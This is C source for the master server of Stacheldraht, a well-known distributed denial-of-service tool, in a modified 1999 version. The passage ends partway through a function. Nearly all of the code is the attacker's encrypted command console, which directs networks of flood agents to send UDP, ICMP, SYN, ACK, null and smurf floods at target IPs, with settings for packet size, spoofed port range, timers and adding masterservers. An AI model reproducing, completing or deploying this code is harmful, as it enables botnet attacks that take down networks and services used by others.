mserv.c

攻防自卫 ddos stachel-yps.tar.gz

/*
 stacheldraht 2.0+yps by randomizer (aka _random at ircnet) (c) in 1999

 fixed a little bit.. could be fork bombed and overflown
 on pid buffer..
 
 changed ids in client, removed remote update,remote kill and detection
 
 those changes by yps
 
 MOMENT OF PACKETING IS THE BEGINNING OF LIFE
 - and moment of getting fucked is moment of losing virginity
*/

#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <time.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <signal.h>
#include <errno.h>
#include <string.h>
#include "tubby.h"
#include "config.h"
#include "blowfish.h"

extern int errno;

#include "pw.h"

/* port the masterserver listens on */
#define   MSERVERPORT 60001

#define   SERVVERSION "-- hub version: 1.666+smurf+yps --\n" 

/* masterserver handles up to 1000 bcasts */
#define     MAXBCASTS 1000 
/* name of the encrypted bcast file */
#define BCASTFILENAME "bcasts"

/* how many times a message gets send */
#define MAXROUNDS 10
/* port floodserver waits for the ping */
#define COMMANDPORT 65000
/* seconds to wait for the next status request */
#define SREQUEST 60

/* seconds to wait till it terminates the idle connection */
#define MAXWAIT (60*50)

#define CURPROMPT "stacheldraht"

#define SYN        1
#define UDP        2
#define ICMP       3 
#define SPOOFWAIT  5
#define SMURF      6

#define moo "(httpd)"

struct ippkt
{
 struct ip ipi;
 struct icmp icmpi;
 char buffer[1024];
}pkt;

/* global variables */
/* icmp size of the packets */
int icmpsize = 1024;
/* udp size */
int  udpsize = 1024;
 

int resolv = 1;
int flood  = 0;
int ptimer = 0;
int floodt = 0;
int trinoo = 0;
int force  = 0;

int pingtimer;
int endmtime;
int finishedloop;
int socki;
int count;
int bcasts[MAXBCASTS];
int bcasts_alive[MAXBCASTS];
int tmpcasts[MAXBCASTS];
int bcastcount=0;
int bcastcount_alive=0;
int publicfd;
int timetorun;
int roundcounti;
int childcount;
int pid;
int pids[200];
int pipee[2];
int albcasts;

/* able to handle 1000 flood servers */
 int replies[MAXBCASTS];


char text[200];

/* ips to hit */
char sendbuffer[500]; 
char tempbuffer[500];
char sendit[500];
char prompti[100];
int helpit;

struct in_addr amanda;

void time_left(int);
void mpingbcasts(int,int);
void massudp(int,char *);
void massstop(int,char *);
void massicmp(int,char *);
void masssyn(int,char *);
void massack(int,char *);
void massnul(int,char *);
void masssmurf(int,char *);
void mtimer(int,char *);
void madd(int,char *);
void mremove(int,char *);
void mlist(int);
void readinbcasts();
void readintmp();
void writebcasts();
void writetmpfile();
void decryptstuff(char *,char *,char *);
void encryptstuff(char *,char *,char *);
void masteradd(int,char *);
void masterremove(int,char *);
void distroall(int,char *);
void helpme(int,char *);
void mdos(int,char *);
void mdie(int,char *);
void setisize(int,char *);
void setusize(int,char *);
void sprange(int,char *);
void killall(int);
void forceit(int,char *);

char *encrypt_string(char *, char *);
char *decrypt_string(char *, char *);


void ffprintf(char *stringi,int fd) {
 char encrypteddata[1024];
 char decrypteddata[1024];
 char *source;
 char *desti;
 int roundcounti;
 
 memset(encrypteddata,0,sizeof(encrypteddata));
 memset(decrypteddata,0,sizeof(encrypteddata));

 strcpy(decrypteddata,stringi);

 encryptstuff(decrypteddata,encrypteddata,SALT);
 write(fd,encrypteddata,sizeof(encrypteddata));
}

void decryptstuff(char *source,char *desti,char *key)
{
 strcpy(desti,(char*)decrypt_string(key,source));
}


void encryptstuff(char *source,char *desti,char *key)
{
 strcpy(desti,(char*)encrypt_string(key,source));
}

void setupfdroutine(int fd)
{
 char data[1024];
 char decrypteddata[1024];
 char crapdata[1024];
 fd_set fdset;
 struct timeval timi;
 char *source;
 char *desti;
 char *parseit;
 char *writeit;
 char *pointi;
 int left,readd,readit;
 int appendit;
 int idle=0;
 int checktime;


// readinbcasts();
 checktime=time(NULL)+MAXWAIT;

 pipe(pipee);
 mpingbcasts(fd,3);
 pingtimer=time(NULL)+SREQUEST;
 
 ffprintf(prompti,fd);
 timi.tv_sec=1;
 timi.tv_usec=0;

 while (1) {
  idle=1;
  FD_ZERO(&fdset);

  if (time(NULL) > pingtimer) {
   mpingbcasts(fd,3);
   pingtimer=time(NULL)+SREQUEST;
  }

  if (endmtime!=0) {
   if (time(NULL) > endmtime) { 
    ffprintf("\n* mtimer reached *\n",publicfd);
    endmtime=0;
    flood=0;
    ffprintf(prompti,fd);  
   }
  }

  /* without this crap it would take like 96,x% of the cpu time ;( */
  usleep(200);
  /* we need stdin connected to our leeto socket */
  FD_SET(0,&fdset);  
  /* leet0 network socket */
  FD_SET(fd,&fdset);
  select(FD_SETSIZE,&fdset,NULL,NULL,&timi);

  memset(data,0,sizeof(data));
   
  /* check if socket state changed */
  if (FD_ISSET(fd,&fdset))
  {
   readinbcasts();
   memset(decrypteddata,0,sizeof(decrypteddata));  

   idle=0;
/*   readd=0;   
   readit=0;
   pointi=(char*)&decrypteddata;
   left=sizeof(decrypteddata);

   while (readit!=sizeof(decrypteddata)) {
    readd=read(fd,pointi,left);
    left=sizeof(decrypteddata)-readd;
    readit=readit+readd;
    pointi=pointi+readd;
   } */

   read(fd,decrypteddata,sizeof(decrypteddata));

   decryptstuff(decrypteddata,data,SALT);

   if (strncmp(data,".quit",strlen(".quit"))==0) {
    if (flood==0) {
     ffprintf("exiting...\n",fd);
     exit(0);
    }
    ffprintf("you need to stop the packet action first.\n",fd);
   }

   parseit=(char*)&data;
   if (strncmp(data,".help",strlen(".help"))==0) {
    memset(crapdata,0,sizeof(crapdata));
    helpit=1;
    if (strlen(data)==6) helpme(fd,data);
    else {
     writeit=(char*)&crapdata;
     parseit=parseit+6;
     while (*parseit==' ') parseit++;
     strcpy(data,parseit);
    } 
   }

   if (strncmp(data,".version",strlen(".version"))==0) ffprintf(SERVVERSION,fd);
   if (bcastcount!=0) {
    if (strstr(data,"setusize")!=NULL) setusize(fd,data);
    if (strstr(data,"setisize")!=NULL) setisize(fd,data);
    if (strstr(data,"die")!=NULL) mdie(fd,data);
    if (strstr(data,"mdos")!=NULL) mdos(fd,data);
    if (strstr(data,"mping")!=NULL) mpingbcasts(fd,1);
    if (strstr(data,"mudp")!=NULL) massudp(fd,data);
    if (strstr(data,"micmp")!=NULL) massicmp(fd,data);
    if (strstr(data,"msyn")!=NULL) masssyn(fd,data);
    if (strstr(data,"mack")!=NULL) massack(fd,data);
    if (strstr(data,"mnul")!=NULL) massnul(fd,data);
    if (strstr(data,"mstop")!=NULL) massstop(fd,data);
    if (strstr(data,"mtimer")!=NULL) mtimer(fd,data);
    if (strstr(data,"madd")!=NULL) madd(fd,data);
    if (strstr(data,"mlist")!=NULL) mlist(fd);
    if (strstr(data,"msort")!=NULL) mpingbcasts(fd,2);
    if (strstr(data,"msadd")!=NULL) masteradd(fd,data);
    if (strstr(data,"msrem")!=NULL) masterremove(fd,data);
    if (strstr(data,"distro")!=NULL) distroall(fd,data);
    if (strstr(data,"sprange")!=NULL) sprange(fd,data);
    if (strstr(data,"killall")!=NULL) killall(fd);
    if (strstr(data,"showdead")!=NULL) mpingbcasts(fd,4);
    if (strstr(data,"showalive")!=NULL) mpingbcasts(fd,5);
    #ifdef SPECIAL_VERSION
     if (strstr(data,"msmurf")!=NULL) masssmurf(fd,data);
    #endif 
    if (strstr(data,"force")!=NULL) forceit(fd,data);
    if (strstr(data,"left")!=NULL) time_left(fd);
   }
   if (bcastcount==0) ffprintf("add some bcasts mofo.\n",fd); 
   helpit=0;
   ffprintf(prompti,fd);
  }
  if (time(NULL) > checktime) {
   if (idle==1) exit(0);
   else checktime=time(NULL)+MAXWAIT;
  }
 }
}

void time_left(int fd) {
 if (endmtime<time(NULL)) return;
 if (endmtime==0) return;
 sprintf(text,"left time : %d\n",endmtime-time(NULL));
 ffprintf(text,fd);
}

void forceit(int fd,char *buffer) 
{
 if (strlen(buffer)<=9) {
  ffprintf("usage: .forceit <on/off>\n",fd);
  return;
 }
 if (strstr(buffer,"on")!=NULL) { 
  force=1;
  ffprintf("forcing enabled\n",fd);
 }

 if (strstr(buffer,"off")!=NULL) {
  force=0;
  ffprintf("forcing disabled\n",fd);
 }
 
}

void killall(int fd)
{
 int counti;
 
 ffprintf("killing all active childs...\n",fd);
 counti=0;
 while (pids[counti]!=0) {
  kill(pids[counti],SIGKILL);
  counti++;
 }
}

void sprange(int fd,char *buffer)
{
 char *savi;
 char *pointi;
 int ports[2];

 if (strlen(buffer)<=10) {
  ffprintf("usage: .sprange <lowport-highport>\n",fd);
  ffprintf("example: .sprange 0-140\n",fd);
  return;
 }

 savi=buffer;
 while (*savi!=' ') savi++;
 while (*savi==' ') savi++;
 pointi=strtok(savi,"-");
 ports[0]=htonl(atoi(pointi));
 pointi=strtok(NULL,"-");
 ports[1]=htonl(atoi(pointi));
 sprintf(text," low port is : %i\n",ntohl(ports[0]));
 ffprintf(text,fd);
 sprintf(text,"high port is : %i\n",ntohl(ports[1]));
 ffprintf(text,fd);
 for (roundcounti=0;roundcounti<MAXROUNDS;roundcounti++) {
  for (count=0;count<bcastcount;count++) send_connect(bcasts[count],ID_SETPRANGE,(char*)&ports[0],sizeof(ports));
 }
 ffprintf("request was sent to the network.\n",fd);

}

void setusize(int fd,char *buffer)
{
 char *savi;

 if (strlen(buffer)<=10) {
  ffprintf("usage: .setusize <udp packet size (<=1024)>\n",fd);
  sprintf(text,"current udp packet size is %ibytes\n",udpsize);
  ffprintf(text,fd);
  return;
 }

 while (*buffer!=' ') buffer++;
 buffer++;
 while (*buffer==' ') buffer++;
 savi=buffer;
 while (1) {
  if (*savi=='\0') break;
  if ((*savi==13) || (*savi==10)) {
   *savi=0;
   break;
  }
  savi++;
 }

 udpsize=htonl(atoi(buffer));
 if (ntohl(udpsize)<=1024) {
   for (roundcounti=0;roundcounti<MAXROUNDS;roundcounti++) {
    for (count=0;count<bcastcount;count++) send_connect(bcasts[count],ID_SETUSIZE,(char*)&udpsize,4);
   }

   sprintf(text,"udp packet size was set to %i bytes.\n",ntohl(udpsize));
   ffprintf(text,fd);
   return;
 }
 ffprintf("udp packet size is too large.\n",fd);


}

void setisize(int fd,char *buffer)
{
 char *savi;
 FILE *fili;

 if (strlen(buffer)<=10) {
  ffprintf("usage: .setisize <icmp packet size (<=1024)>\n",fd);
  sprintf(text,"current icmp packet size is %ibytes\n",icmpsize);
  ffprintf(text,fd);
  return;
 }

 while (*buffer!=' ') buffer++;
 buffer++;
 while (*buffer==' ') buffer++;
 savi=buffer;

 while (1) {
  if (*savi=='\0') break;
  if ((*savi==13) || (*savi==10)) {
   *savi=0;
   break;
  }
  savi++;
 }

 icmpsize=htonl(atoi(buffer));

 if (ntohl(icmpsize)<=1024) {
  for (roundcounti=0;roundcounti<MAXROUNDS;roundcounti++) {
   for (count=0;count<bcastcount;count++) send_connect(bcasts[count],ID_SETISIZE,(char*)&icmpsize,4);
  }
  sprintf(text,"icmp packet size was set to %i bytes.\n",ntohl(icmpsize));
  ffprintf(text,fd);
  return;
 }
 ffprintf("icmp packet size is too large.\n",fd); 
}


void mdie(int fd,char *data)
{
 ffprintf("removed due to security lameness\n",fd);
 return;
}



void mdos(int fd,char *data)
{

 if (trinoo) {
  if (data[0]=='.') memcpy(data,".mudp",5);
  else memcpy(data,"mudp",4);
  return;   
 }

 ffprintf("starting trinoo emulation...\n",fd);
 ffprintf("removing useful commands.\n",fd);
 ffprintf("- DONE - \n",fd);
 trinoo=1;
 mpingbcasts(fd,3);
 pingtimer=time(NULL)+SREQUEST;
}

void helpme(int fd,char *data)
{
 ffprintf("available commands in this version are:\n",fd);
 ffprintf("--------------------------------------------------\n",fd);
 ffprintf(".mtimer .mudp  .micmp  .msyn  .mack  .mnul  .msort\n",fd);
 ffprintf(".showalive     .madd   .mlist .msadd .msrem .help\n",fd);
 ffprintf(".setusize .setisize .mdie  .sprange .mstop  .killall\n",fd);
 ffprintf(".showdead .forceit  .left\n",fd);
 ffprintf("--------------------------------------------------\n",fd);
}

void distroall(int fd, char *buffer)
{
 char *savi;
 char *pointi;
 char *usi;
 int mip;
 struct hostent *hostenti;
 char user[100];
 char crapi[200];
 char *craptosend;
 FILE *fili;

 
 ffprintf("disabled. too insecure.\n",fd);
 return;
}

void masterremove(int fd,char *buffer)
{
 char *savi;
 char *pointi;
 int mip;
 struct hostent *hostenti;

 if (strlen(buffer)<=7) {
  ffprintf("usage: .msrem <masterserver>\n",fd);
  return;
 }

savi=buffer;

 while (1) {
  if (*savi=='\0') break;
  if ((*savi==13) || (*savi==10)) {
   *savi=0;
   break;
 }
  savi++;
 }
 pointi=buffer;
 while (*pointi!=' ') pointi++;
 pointi++;
 ffprintf("removing masterserver - ",fd);
 if (resolv) hostenti=gethostbyname(pointi);
 if (resolv) {
  if (!hostenti) {
   sprintf(text,"unable to resolve - %s\n",pointi);
   ffprintf(text,fd);
   ffprintf("failed.\n",fd);
   return;
  }
  else {
   mip=*(unsigned long*)hostenti->h_addr;
   amanda.s_addr=*(unsigned long*)hostenti->h_addr;
   sprintf(text,"%s\n",(char*)inet_ntoa(amanda));
   ffprintf(text,fd);
  }
 }
 else {
  sprintf(text,"%s\n",pointi);
  ffprintf(text,fd);
  mip=inet_addr(pointi);
 }
 for (roundcounti=0;roundcounti<MAXROUNDS;roundcounti++) {
  for (count=0;count<bcastcount;count++) send_connect(bcasts[count],ID_REMMSERVER,(char*)&mip,4);
 }
}

void masteradd(int fd,char *buffer)
{
 char *savi;
 char *pointi;
 int mip;
 struct hostent *hostenti;

 if (strlen(buffer)<=7) {
  ffprintf("usage: .msadd <masterserver>\n",fd);
  return;
 } 
 
 savi=buffer;

 while (1) {
  if (*savi=='\0') break;
  if ((*savi==13) || (*savi==10)) {
   *savi=0;
   break;
  }
  savi++;
 }
 pointi=buffer;
 while (*pointi!=' ') pointi++;
 pointi++;  
 ffprintf("adding masterserver - ",fd);
 if (resolv) hostenti=gethostbyname(pointi);
 if (resolv) {
  if (!hostenti) {
   sprintf(text,"unable to resolve - %s\n",pointi);
   ffprintf(text,fd);
   ffprintf("failed.\n",fd);
   return;
  }
  else {
   mip=*(unsigned long*)hostenti->h_addr;
   amanda.s_addr=*(unsigned long*)hostenti->h_addr;
   sprintf(text,"%s\n",(char*)inet_ntoa(amanda));
   ffprintf(text,fd);
  }
 }
 else {
  sprintf(text,"%s\n",pointi);
  ffprintf(text,fd);
  mip=inet_addr(pointi);
 }
 for (roundcounti=0;roundcounti<MAXROUNDS;roundcounti++) {
  for (count=0;count<bcastcount;count++) send_connect(bcasts[count],ID_ADDMSERVER,(char*)&mip,4);
 }
}

void mlist(int fd)
{
 char *savi;
 int hitcounter;

 if (helpit) return;

 if (flood==0) {
  ffprintf("no packet action at the moment, sir.\n",fd);
  return;
 }

 ffprintf("the followings ip(s) are getting packeted...\n",fd);
 ffprintf("--------------------------------------------\n",fd);

 savi=(char*)&sendbuffer;
 hitcounter=0;
 while (*(int*)savi!=0) {
  amanda.s_addr=*(int*)savi;
  sprintf(text,"%s\n",(char*)inet_ntoa(amanda));
  ffprintf(text,fd);
  savi=savi+4;
  hitcounter++;
 }
 ffprintf("--------------------------------------------\n",fd);
 if (hitcounter>1) sprintf(text,"[*] stacheldraht [*] is packeting %d ips\n",hitcounter);
 else sprintf(text,"[*] stacheldraht [*] is packeting 1 ip\n");

 ffprintf(text,fd); 
}


void mremove(int fd,char *buffer)
{
 char *pointi;
 char *savi;
 char *savi2;
 char *saveadd;
 char *PARAM;
 int floodcount;
 int counti;
 int dontadd;
 int hitcounter;
 int removed;
 int tempi;
 struct hostent *hostenti;
 

 if (flood==0) {
  ffprintf("no packet action at the moment, sir.\n",fd);
  return;
 }

 counti=0;

 buffer=buffer+6;
 while (*buffer==' ') buffer++;

 savi2=(char*)&sendbuffer;
 saveadd=(char*)&tempbuffer;